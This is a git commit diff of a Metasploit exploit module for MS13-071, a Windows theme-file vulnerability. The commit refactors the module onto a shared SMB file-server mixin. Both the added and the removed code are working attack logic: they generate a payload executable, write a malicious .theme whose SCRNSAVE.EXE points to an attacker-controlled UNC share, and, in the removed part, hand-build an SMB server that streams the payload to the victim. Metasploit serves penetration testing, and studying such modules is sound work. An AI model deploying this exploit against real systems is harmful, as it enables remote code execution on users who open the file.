Solve conflicts on ms13_071_theme
This commit is contained in:
commit
b9ed8178a9
|
@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
include Msf::Exploit::FILEFORMAT
|
include Msf::Exploit::FILEFORMAT
|
||||||
include Msf::Exploit::EXE
|
include Msf::Exploit::EXE
|
||||||
include Msf::Exploit::Remote::SMB::Server
|
include Msf::Exploit::Remote::SMB::Server::Share
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -28,7 +28,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Eduardo Prado', # Vulnerability discovery
|
'Eduardo Prado', # Vulnerability discovery
|
||||||
'juan vazquez' # Metasploit module
|
'juan vazquez', # Metasploit module
|
||||||
|
'Matthew Hall <hallm@sec-1.com>' # Metasploit module refactored to use Remote::SMBFileServer
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
@ -56,30 +57,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Privileged' => false,
|
'Privileged' => false,
|
||||||
'DisclosureDate' => "Sep 10 2013",
|
'DisclosureDate' => "Sep 10 2013",
|
||||||
'DefaultTarget' => 0))
|
'DefaultTarget' => 0))
|
||||||
|
register_options(
|
||||||
register_options(
|
|
||||||
[
|
[
|
||||||
OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
|
OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
|
||||||
OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ])
|
OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
deregister_options('FILE_CONTENTS')
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
|
||||||
if (datastore['UNCPATH'])
|
|
||||||
@unc = datastore['UNCPATH']
|
|
||||||
print_status("Remember to share the malicious EXE payload as #{@unc}")
|
|
||||||
else
|
|
||||||
print_status("Generating our malicious executable...")
|
|
||||||
@exe = generate_payload_exe
|
|
||||||
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
|
||||||
@share = rand_text_alpha(5 + rand(5))
|
|
||||||
@scr_file = "#{rand_text_alpha(5 + rand(5))}.scr"
|
|
||||||
@hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i)
|
|
||||||
@unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}"
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||||
|
self.file_contents = generate_payload_exe
|
||||||
|
print_status("Malicious SCR available on #{unc}...")
|
||||||
# Default Windows XP / 2003 theme modified
|
# Default Windows XP / 2003 theme modified
|
||||||
theme = <<-EOF
|
theme = <<-EOF
|
||||||
; Copyright (c) Microsoft Corp. 1995-2001
|
; Copyright (c) Microsoft Corp. 1995-2001
|
||||||
|
@ -118,316 +107,6 @@ SCRNSAVE.EXE=#{@unc}
|
||||||
MTSM=DABJDKT
|
MTSM=DABJDKT
|
||||||
EOF
|
EOF
|
||||||
file_create(theme)
|
file_create(theme)
|
||||||
print_good("Let your victim open #{datastore['FILENAME']}")
|
|
||||||
|
|
||||||
if not datastore['UNCPATH']
|
|
||||||
print_status("Ready to deliver your payload on #{@unc}")
|
|
||||||
super
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
# TODO: these smb_* methods should be moved up to the SMBServer mixin
|
|
||||||
# development and test on progress
|
|
||||||
|
|
||||||
def smb_cmd_dispatch(cmd, c, buff)
|
|
||||||
smb = @state[c]
|
|
||||||
vprint_status("Received command #{cmd} from #{smb[:name]}")
|
|
||||||
|
|
||||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
|
||||||
pkt.from_s(buff)
|
|
||||||
#Record the IDs
|
|
||||||
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
|
||||||
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
|
||||||
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
|
||||||
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
|
||||||
|
|
||||||
case cmd
|
|
||||||
when CONST::SMB_COM_NEGOTIATE
|
|
||||||
smb_cmd_negotiate(c, buff)
|
|
||||||
when CONST::SMB_COM_SESSION_SETUP_ANDX
|
|
||||||
wordcount = pkt['Payload']['SMB'].v['WordCount']
|
|
||||||
if wordcount == 0x0D # It's the case for Share Security Mode sessions
|
|
||||||
smb_cmd_session_setup(c, buff)
|
|
||||||
else
|
|
||||||
vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
|
|
||||||
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
|
|
||||||
end
|
|
||||||
when CONST::SMB_COM_TRANSACTION2
|
|
||||||
smb_cmd_trans(c, buff)
|
|
||||||
when CONST::SMB_COM_NT_CREATE_ANDX
|
|
||||||
smb_cmd_create(c, buff)
|
|
||||||
when CONST::SMB_COM_READ_ANDX
|
|
||||||
smb_cmd_read(c, buff)
|
|
||||||
else
|
|
||||||
vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})")
|
|
||||||
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def smb_cmd_negotiate(c, buff)
|
|
||||||
pkt = CONST::SMB_NEG_PKT.make_struct
|
|
||||||
pkt.from_s(buff)
|
|
||||||
|
|
||||||
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
|
|
||||||
|
|
||||||
dialect = dialects.index("NT LM 0.12") || dialects.length-1
|
|
||||||
|
|
||||||
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
|
|
||||||
smb_set_defaults(c, pkt)
|
|
||||||
|
|
||||||
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
|
|
||||||
|
|
||||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
|
|
||||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
||||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
||||||
pkt['Payload']['SMB'].v['WordCount'] = 17
|
|
||||||
pkt['Payload'].v['Dialect'] = dialect
|
|
||||||
pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode
|
|
||||||
pkt['Payload'].v['MaxMPX'] = 50
|
|
||||||
pkt['Payload'].v['MaxVCS'] = 1
|
|
||||||
pkt['Payload'].v['MaxBuff'] = 4356
|
|
||||||
pkt['Payload'].v['MaxRaw'] = 65536
|
|
||||||
pkt['Payload'].v['SystemTimeLow'] = time_lo
|
|
||||||
pkt['Payload'].v['SystemTimeHigh'] = time_hi
|
|
||||||
pkt['Payload'].v['ServerTimeZone'] = 0x0
|
|
||||||
pkt['Payload'].v['SessionKey'] = 0
|
|
||||||
pkt['Payload'].v['Capabilities'] = 0x80f3fd
|
|
||||||
pkt['Payload'].v['KeyLength'] = 8
|
|
||||||
pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8)
|
|
||||||
|
|
||||||
c.put(pkt.to_s)
|
|
||||||
end
|
|
||||||
|
|
||||||
def smb_cmd_session_setup(c, buff)
|
|
||||||
|
|
||||||
pkt = CONST::SMB_SETUP_RES_PKT.make_struct
|
|
||||||
smb_set_defaults(c, pkt)
|
|
||||||
|
|
||||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
|
||||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
||||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
||||||
pkt['Payload']['SMB'].v['WordCount'] = 3
|
|
||||||
pkt['Payload'].v['AndX'] = 0x75
|
|
||||||
pkt['Payload'].v['Reserved1'] = 00
|
|
||||||
pkt['Payload'].v['AndXOffset'] = 96
|
|
||||||
pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest
|
|
||||||
pkt['Payload'].v['Payload'] =
|
|
||||||
Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
|
|
||||||
Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
|
|
||||||
Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature
|
|
||||||
tree_connect_response = ""
|
|
||||||
tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount
|
|
||||||
tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand
|
|
||||||
tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved
|
|
||||||
tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset
|
|
||||||
tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support
|
|
||||||
tree_connect_response << [0xa9].pack("v") # Tree Connect Response : Word Parameter
|
|
||||||
tree_connect_response << [0x12].pack("v") # Tree Connect Response : Word Parameter
|
|
||||||
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
|
|
||||||
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
|
|
||||||
tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount
|
|
||||||
tree_connect_response << "A:\x00" # Service
|
|
||||||
tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters
|
|
||||||
# Fix the Netbios Session Service Message Length
|
|
||||||
# to have into account the tree_connect_response,
|
|
||||||
# need to do this because there isn't support for
|
|
||||||
# AndX still
|
|
||||||
my_pkt = pkt.to_s + tree_connect_response
|
|
||||||
original_length = my_pkt[2, 2].unpack("n").first
|
|
||||||
original_length = original_length + tree_connect_response.length
|
|
||||||
my_pkt[2, 2] = [original_length].pack("n")
|
|
||||||
c.put(my_pkt)
|
|
||||||
end
|
|
||||||
|
|
||||||
def smb_cmd_create(c, buff)
|
|
||||||
pkt = CONST::SMB_CREATE_PKT.make_struct
|
|
||||||
pkt.from_s(buff)
|
|
||||||
|
|
||||||
if pkt['Payload'].v['Payload'] =~ /#{Rex::Text.to_unicode("#{@scr_file}\x00")}/
|
|
||||||
pkt = CONST::SMB_CREATE_RES_PKT.make_struct
|
|
||||||
smb_set_defaults(c, pkt)
|
|
||||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
|
|
||||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
||||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
||||||
pkt['Payload']['SMB'].v['WordCount'] = 42
|
|
||||||
pkt['Payload'].v['AndX'] = 0xff # no further commands
|
|
||||||
pkt['Payload'].v['OpLock'] = 0x2
|
|
||||||
# No need to track fid here, we're just offering one file
|
|
||||||
pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0
|
|
||||||
pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened
|
|
||||||
pkt['Payload'].v['CreateTimeLow'] = @lo
|
|
||||||
pkt['Payload'].v['CreateTimeHigh'] = @hi
|
|
||||||
pkt['Payload'].v['AccessTimeLow'] = @lo
|
|
||||||
pkt['Payload'].v['AccessTimeHigh'] = @hi
|
|
||||||
pkt['Payload'].v['WriteTimeLow'] = @lo
|
|
||||||
pkt['Payload'].v['WriteTimeHigh'] = @hi
|
|
||||||
pkt['Payload'].v['ChangeTimeLow'] = @lo
|
|
||||||
pkt['Payload'].v['ChangeTimeHigh'] = @hi
|
|
||||||
pkt['Payload'].v['Attributes'] = 0x80 # Ordinary file
|
|
||||||
pkt['Payload'].v['AllocLow'] = 0x100000
|
|
||||||
pkt['Payload'].v['AllocHigh'] = 0
|
|
||||||
pkt['Payload'].v['EOFLow'] = @exe.length
|
|
||||||
pkt['Payload'].v['EOFHigh'] = 0
|
|
||||||
pkt['Payload'].v['FileType'] = 0
|
|
||||||
pkt['Payload'].v['IPCState'] = 0x7
|
|
||||||
pkt['Payload'].v['IsDirectory'] = 0
|
|
||||||
c.put(pkt.to_s)
|
|
||||||
else
|
|
||||||
pkt = CONST::SMB_CREATE_RES_PKT.make_struct
|
|
||||||
smb_set_defaults(c, pkt)
|
|
||||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
|
|
||||||
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND
|
|
||||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
||||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
||||||
c.put(pkt.to_s)
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def smb_cmd_read(c, buff)
|
|
||||||
pkt = CONST::SMB_READ_PKT.make_struct
|
|
||||||
pkt.from_s(buff)
|
|
||||||
|
|
||||||
offset = pkt['Payload'].v['Offset']
|
|
||||||
length = pkt['Payload'].v['MaxCountLow']
|
|
||||||
|
|
||||||
pkt = CONST::SMB_READ_RES_PKT.make_struct
|
|
||||||
smb_set_defaults(c, pkt)
|
|
||||||
|
|
||||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
|
|
||||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
||||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
||||||
pkt['Payload']['SMB'].v['WordCount'] = 12
|
|
||||||
pkt['Payload'].v['AndX'] = 0xff # no more commands
|
|
||||||
pkt['Payload'].v['Remaining'] = 0xffff
|
|
||||||
pkt['Payload'].v['DataLenLow'] = length
|
|
||||||
pkt['Payload'].v['DataOffset'] = 59
|
|
||||||
pkt['Payload'].v['DataLenHigh'] = 0
|
|
||||||
pkt['Payload'].v['Reserved3'] = 0
|
|
||||||
pkt['Payload'].v['Reserved4'] = 6
|
|
||||||
pkt['Payload'].v['ByteCount'] = length
|
|
||||||
pkt['Payload'].v['Payload'] = @exe[offset, length]
|
|
||||||
|
|
||||||
c.put(pkt.to_s)
|
|
||||||
end
|
|
||||||
|
|
||||||
def smb_cmd_trans(c, buff)
|
|
||||||
pkt = CONST::SMB_TRANS2_PKT.make_struct
|
|
||||||
pkt.from_s(buff)
|
|
||||||
|
|
||||||
sub_command = pkt['Payload'].v['SetupData'].unpack("v").first
|
|
||||||
case sub_command
|
|
||||||
when 0x5 # QUERY_PATH_INFO
|
|
||||||
smb_cmd_trans_query_path_info(c, buff)
|
|
||||||
when 0x1 # FIND_FIRST2
|
|
||||||
smb_cmd_trans_find_first2(c, buff)
|
|
||||||
else
|
|
||||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
|
||||||
smb_set_defaults(c, pkt)
|
|
||||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
|
|
||||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
||||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
||||||
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND
|
|
||||||
c.put(pkt.to_s)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def smb_cmd_trans_query_path_info(c, buff)
|
|
||||||
pkt = CONST::SMB_TRANS2_PKT.make_struct
|
|
||||||
pkt.from_s(buff)
|
|
||||||
|
|
||||||
if pkt['Payload'].v['SetupData'].length < 16
|
|
||||||
# if QUERY_PATH_INFO_PARAMETERS doesn't include a file name,
|
|
||||||
# return a Directory answer
|
|
||||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
|
||||||
smb_set_defaults(c, pkt)
|
|
||||||
|
|
||||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
|
|
||||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
||||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
||||||
pkt['Payload']['SMB'].v['WordCount'] = 10
|
|
||||||
pkt['Payload'].v['ParamCountTotal'] = 2
|
|
||||||
pkt['Payload'].v['DataCountTotal'] = 40
|
|
||||||
pkt['Payload'].v['ParamCount'] = 2
|
|
||||||
pkt['Payload'].v['ParamOffset'] = 56
|
|
||||||
pkt['Payload'].v['DataCount'] = 40
|
|
||||||
pkt['Payload'].v['DataOffset'] = 60
|
|
||||||
pkt['Payload'].v['Payload'] =
|
|
||||||
"\x00" + # Padding
|
|
||||||
# QUERY_PATH_INFO Parameters
|
|
||||||
"\x00\x00" + # EA Error Offset
|
|
||||||
"\x00\x00" + # Padding
|
|
||||||
#QUERY_PATH_INFO Data
|
|
||||||
[@lo, @hi].pack("VV") + # Created
|
|
||||||
[@lo, @hi].pack("VV") + # Last Access
|
|
||||||
[@lo, @hi].pack("VV") + # Last Write
|
|
||||||
[@lo, @hi].pack("VV") + # Change
|
|
||||||
"\x10\x00\x00\x00" + # File attributes => directory
|
|
||||||
"\x00\x00\x00\x00" # Unknown
|
|
||||||
c.put(pkt.to_s)
|
|
||||||
|
|
||||||
else
|
|
||||||
# if QUERY_PATH_INFO_PARAMETERS includes a file name,
|
|
||||||
# returns an object name not found error
|
|
||||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
|
||||||
smb_set_defaults(c, pkt)
|
|
||||||
|
|
||||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
|
|
||||||
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 #OBJECT_NAME_NOT_FOUND
|
|
||||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
||||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
||||||
c.put(pkt.to_s)
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def smb_cmd_trans_find_first2(c, buff)
|
|
||||||
|
|
||||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
|
||||||
smb_set_defaults(c, pkt)
|
|
||||||
|
|
||||||
file_name = Rex::Text.to_unicode(@scr_file)
|
|
||||||
|
|
||||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
|
|
||||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
|
||||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
|
||||||
pkt['Payload']['SMB'].v['WordCount'] = 10
|
|
||||||
pkt['Payload'].v['ParamCountTotal'] = 10
|
|
||||||
pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length
|
|
||||||
pkt['Payload'].v['ParamCount'] = 10
|
|
||||||
pkt['Payload'].v['ParamOffset'] = 56
|
|
||||||
pkt['Payload'].v['DataCount'] = 94 + file_name.length
|
|
||||||
pkt['Payload'].v['DataOffset'] = 68
|
|
||||||
pkt['Payload'].v['Payload'] =
|
|
||||||
"\x00" + # Padding
|
|
||||||
# FIND_FIRST2 Parameters
|
|
||||||
"\xfd\xff" + # Search ID
|
|
||||||
"\x01\x00" + # Search count
|
|
||||||
"\x01\x00" + # End Of Search
|
|
||||||
"\x00\x00" + # EA Error Offset
|
|
||||||
"\x00\x00" + # Last Name Offset
|
|
||||||
"\x00\x00" + # Padding
|
|
||||||
#QUERY_PATH_INFO Data
|
|
||||||
[94 + file_name.length].pack("V") + # Next Entry Offset
|
|
||||||
"\x00\x00\x00\x00" + # File Index
|
|
||||||
[@lo, @hi].pack("VV") + # Created
|
|
||||||
[@lo, @hi].pack("VV") + # Last Access
|
|
||||||
[@lo, @hi].pack("VV") + # Last Write
|
|
||||||
[@lo, @hi].pack("VV") + # Change
|
|
||||||
[@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File
|
|
||||||
"\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation size
|
|
||||||
"\x80\x00\x00\x00" + # File attributes => directory
|
|
||||||
[file_name.length].pack("V") + # File name len
|
|
||||||
"\x00\x00\x00\x00" + # EA List Lenght
|
|
||||||
"\x00" + # Short file lenght
|
|
||||||
"\x00" + # Reserved
|
|
||||||
("\x00" * 24) +
|
|
||||||
file_name
|
|
||||||
|
|
||||||
c.put(pkt.to_s)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue